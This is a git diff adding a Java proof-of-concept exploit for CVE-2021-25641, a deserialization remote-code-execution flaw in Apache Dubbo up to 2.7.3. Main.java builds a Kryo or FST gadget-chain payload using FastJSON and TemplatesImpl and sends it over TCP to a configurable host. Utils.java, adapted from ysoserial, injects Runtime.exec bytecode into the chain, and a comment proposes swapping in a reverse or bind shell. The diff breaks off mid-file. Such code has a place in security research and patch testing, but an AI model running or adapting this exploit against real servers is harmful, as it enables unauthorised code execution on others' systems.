diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/pom.xml b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/pom.xml
new file mode 100644
index 0000000000000000000000000000000000000000..684c223ab072bfdd3b63b13980189c50587b0c5c
--- /dev/null
+++ b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/pom.xml
@@ -0,0 +1,60 @@
+
+
+ 4.0.0
+
+ groupId
+ DubboProtocolExploit
+ 1.0-SNAPSHOT
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+ 3.8.1
+
+ 8
+ 8
+
+
+
+
+
+
+ org.apache.dubbo
+ dubbo
+ 2.7.3
+
+
+ org.apache.dubbo
+ dubbo-common
+ 2.7.3
+
+
+ com.alibaba
+ dubbo
+ 2.6.9
+
+
+ com.alibaba
+ dubbo-remoting-netty4
+ 2.6.9
+
+
+ io.netty
+ netty-all
+ 4.1.60.Final
+
+
+ org.springframework
+ spring-web
+ 5.1.9.RELEASE
+
+
+ com.nqzero
+ permit-reflect
+ 0.4
+
+
+
diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java
new file mode 100644
index 0000000000000000000000000000000000000000..0efbaf721a16a33936938d78268edc9b618955b7
--- /dev/null
+++ b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java
@@ -0,0 +1,157 @@
+package DubboProtocolExploit;
+
+
+import com.alibaba.fastjson.JSONObject;
+import org.apache.dubbo.common.io.Bytes;
+import org.apache.dubbo.common.serialize.Serialization;
+import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
+import org.apache.dubbo.common.serialize.fst.FstSerialization;
+import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
+import org.apache.dubbo.common.serialize.kryo.KryoSerialization;
+import org.apache.dubbo.common.serialize.ObjectOutput;
+import org.apache.dubbo.rpc.RpcInvocation;
+import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;
+import org.apache.dubbo.serialize.hessian.Hessian2Serialization;
+/*import com.alibaba.dubbo.common.io.Bytes;
+import com.alibaba.dubbo.common.serialize.Serialization;
+import com.alibaba.dubbo.common.serialize.fst.FstObjectOutput;
+import com.alibaba.dubbo.common.serialize.fst.FstSerialization;
+import com.alibaba.dubbo.common.serialize.kryo.KryoObjectOutput;
+import com.alibaba.dubbo.common.serialize.kryo.KryoSerialization;
+import com.alibaba.dubbo.common.serialize.ObjectOutput;*/
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.Serializable;
+import java.lang.reflect.Method;
+import java.net.Socket;
+
+/* This Dubbo protocol exploit affects versions <= 2.7.3,
+ and will print "whoops!" on the server's console via RCE.
+
+ This issue is caused by deserialization of untrusted data,
+ triggered via a communication protocol that allows dynamically
+ switching to a vulnerable deserializer, and exploited with a
+ payload gadget chain based on FastJson
+
+ On Windows servers - it will try to execute calc.exe
+ On Linux servers - it will touch /tmp/dubboexploited
+ */
+
+public class Main {
+ // Customize URL for remote targets
+ public static String DUBBO_HOST_NAME = "localhost";
+ public static int DUBBO_HOST_PORT = 20880;
+
+ // OS-specific payloads - comment to switch OS variants
+ // exploit will print "whoops!" on server console either way
+ //public static String DUBBO_RCE_COMMAND = "touch /tmp/dubboexploited"; // Linux
+ public static String DUBBO_RCE_COMMAND = "calc.exe"; // Windows
+
+ //Exploit variant - comment to switch exploit variants
+ public static String EXPLOIT_VARIANT = "Kryo";
+ //public static String EXPLOIT_VARIANT = "FST";
+
+ // Magic header from ExchangeCodec
+ protected static final short MAGIC = (short) 0xdabb;
+ protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0];
+ protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1];
+
+ // Message flags from ExchangeCodec
+ protected static final byte FLAG_REQUEST = (byte) 0x80;
+ protected static final byte FLAG_TWOWAY = (byte) 0x40;
+
+ public static void main(String[] args) throws Exception {
+ Object templates = Utils.createTemplatesImpl(DUBBO_RCE_COMMAND); // TemplatesImpl gadget chain
+
+ // triggers Runtime.exec() on TemplatesImpl.newTransformer()
+ JSONObject jo = new JSONObject();
+ jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper
+ Object gadgetChain = Utils.makeXStringToStringTrigger(jo); // toString() trigger
+
+ // encode request data.
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+ // Kryo exploit variant
+ Serialization s;
+ ObjectOutput objectOutput;
+ switch(EXPLOIT_VARIANT) {
+ case "FST":
+ s = new FstSerialization();
+ objectOutput = new FstObjectOutput(bos);
+ break;
+ case "Kryo":
+ default:
+ s = new KryoSerialization();
+ objectOutput = new KryoObjectOutput(bos);
+ break;
+ }
+
+ // 0xc2 is Hessian2 + two-way + Request serialization
+ // Kryo | two-way | Request is 0xc8 on third byte
+ // FST | two-way | Request is 0xc9 on third byte
+
+ byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY);
+ byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs
+ bos.write(header);
+ // Strings need only satisfy "readUTF" calls until "readObject" is reached, so garbage metadata works too
+ /*
+ objectOutput.writeUTF("notAversion");
+ objectOutput.writeUTF("notAservice");
+ objectOutput.writeUTF("notAserviceVersion");
+ objectOutput.writeUTF("notAmethod");
+ objectOutput.writeUTF("notAtype"); //*/
+
+ // This section contains valid data writes
+ RpcInvocation ri = new RpcInvocation();
+ ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class});
+ //ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
+ ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}});
+ // Strings need only satisfy "readUTF" calls until "readObject" is reached
+
+ // /*
+ objectOutput.writeUTF("2.0.2");
+ objectOutput.writeUTF("org.apache.dubbo.demo.DemoService");
+ objectOutput.writeUTF("0.0.0");
+ objectOutput.writeUTF("sayHello");
+ objectOutput.writeUTF("Ljava/lang/String;"); //*/
+
+ objectOutput.writeObject(gadgetChain);
+ objectOutput.writeObject(ri.getAttachments());
+
+ objectOutput.flushBuffer();
+ byte[] payload = bos.toByteArray();
+ int len = payload.length - header.length;
+ Bytes.int2bytes(len, payload, 12);
+
+ // Dubbo Message Stream Hex Dump
+ for (int i = 0; i < payload.length; i++) {
+ System.out.print(String.format("%02X", payload[i]) + " ");
+ if ((i + 1) % 8 == 0)
+ System.out.print(" ");
+ if ((i + 1) % 16 == 0 )
+ System.out.println();
+
+ }
+ // Payload string
+ System.out.println();
+ System.out.println(new String(payload));
+
+ Socket pingSocket = null;
+ OutputStream out = null;
+ // Send request over TCP socket
+ try {
+ pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT);
+ out = pingSocket.getOutputStream();
+ } catch (IOException e) {
+ return;
+ }
+ out.write(payload);
+ out.flush();
+ out.close();
+ pingSocket.close();
+ System.out.println("Sent!");
+ }
+}
diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java
new file mode 100644
index 0000000000000000000000000000000000000000..8aaf5e6c5e316999baabf4d0da8d9b132a8730fa
--- /dev/null
+++ b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java
@@ -0,0 +1,221 @@
+package DubboProtocolExploit;
+
+import com.nqzero.permit.Permit;
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+import com.sun.org.apache.xpath.internal.objects.XString;
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import org.springframework.aop.target.HotSwappableTargetSource;
+import sun.reflect.ReflectionFactory;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.Serializable;
+import java.lang.reflect.*;
+import java.util.HashMap;
+import java.util.Map;
+
+import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
+
+/*
+ * Utility class - based on code found in ysoserial, includes method calls used in
+ * ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were
+ * consolidated into a single util class for the sake of brevity; they are otherwise unchanged.
+ *
+ * Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger
+ * to create a toString trigger
+ *
+ * ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial
+ * marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec
+ */
+public class Utils {
+ static {
+ // special case for using TemplatesImpl gadgets with a SecurityManager enabled
+ System.setProperty(DESERIALIZE_TRANSLET, "true");
+
+ // for RMI remote loading
+ System.setProperty("java.rmi.server.useCodebaseOnly", "false");
+ }
+
+ public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
+
+ public static class StubTransletPayload extends AbstractTranslet implements Serializable {
+
+ private static final long serialVersionUID = -5971610431559700674L;
+
+
+ public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
+
+
+ @Override
+ public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
+ }
+
+ // required to make TemplatesImpl happy
+ public static class Foo implements Serializable {
+
+ private static final long serialVersionUID = 8207363842866235160L;
+ }
+
+ public static InvocationHandler createMemoizedInvocationHandler (final Map map ) throws Exception {
+ return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
+ }
+
+ public static Object createTemplatesImpl ( final String command ) throws Exception {
+ if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
+ return createTemplatesImpl(
+ command,
+ Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
+ Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
+ Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
+ }
+
+ return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
+ }
+
+
+ public static T createTemplatesImpl ( final String command, Class tplClass, Class> abstTranslet, Class> transFactory )
+ throws Exception {
+ final T templates = tplClass.newInstance();
+
+ // use template gadget class
+ ClassPool pool = ClassPool.getDefault();
+ pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class));
+ pool.insertClassPath(new ClassClassPath(abstTranslet));
+ final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName());
+ // run command in static initializer
+ // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
+ String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" +
+ command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
+ "\");";
+ clazz.makeClassInitializer().insertAfter(cmd);
+ // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
+ clazz.setName("ysoserial.Pwner" + System.nanoTime());
+ CtClass superC = pool.get(abstTranslet.getName());
+ clazz.setSuperclass(superC);
+
+ final byte[] classBytes = clazz.toBytecode();
+
+ // inject class bytes into instance
+ Utils.setFieldValue(templates, "_bytecodes", new byte[][] {
+ classBytes, Utils.classAsBytes(Utils.Foo.class)
+ });
+
+ // required to make TemplatesImpl happy
+ Utils.setFieldValue(templates, "_name", "Pwnr");
+ Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance());
+ return templates;
+ }
+
+ public static void setAccessible(AccessibleObject member) {
+ // quiet runtime warnings from JDK9+
+ Permit.setAccessible(member);
+ }
+
+ public static Field getField(final Class> clazz, final String fieldName) {
+ Field field = null;
+ try {
+ field = clazz.getDeclaredField(fieldName);
+ setAccessible(field);
+ }
+ catch (NoSuchFieldException ex) {
+ if (clazz.getSuperclass() != null)
+ field = getField(clazz.getSuperclass(), fieldName);
+ }
+ return field;
+ }
+
+ public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+ final Field field = getField(obj.getClass(), fieldName);
+ field.set(obj, value);
+ }
+
+ public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
+ final Field field = getField(obj.getClass(), fieldName);
+ return field.get(obj);
+ }
+
+ public static Constructor> getFirstCtor(final String name) throws Exception {
+ final Constructor> ctor = Class.forName(name).getDeclaredConstructors()[0];
+ setAccessible(ctor);
+ return ctor;
+ }
+
+ @SuppressWarnings ( {"unchecked"} )
+ public static T createWithConstructor ( Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes, Object[] consArgs )
+ throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
+ Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
+ setAccessible(objCons);
+ Constructor> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
+ setAccessible(sc);
+ return (T)sc.newInstance(consArgs);
+ }
+
+ public static String classAsFile(final Class> clazz) {
+ return classAsFile(clazz, true);
+ }
+
+ public static String classAsFile(final Class> clazz, boolean suffix) {
+ String str;
+ if (clazz.getEnclosingClass() == null) {
+ str = clazz.getName().replace(".", "/");
+ } else {
+ str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
+ }
+ if (suffix) {
+ str += ".class";
+ }
+ return str;
+ }
+
+ public static byte[] classAsBytes(final Class> clazz) {
+ try {
+ final byte[] buffer = new byte[1024];
+ final String file = classAsFile(clazz);
+ final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file);
+ if (in == null) {
+ throw new IOException("couldn't find '" + file + "'");
+ }
+ final ByteArrayOutputStream out = new ByteArrayOutputStream();
+ int len;
+ while ((len = in.read(buffer)) != -1) {
+ out.write(buffer, 0, len);
+ }
+ return out.toByteArray();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ public static HashMap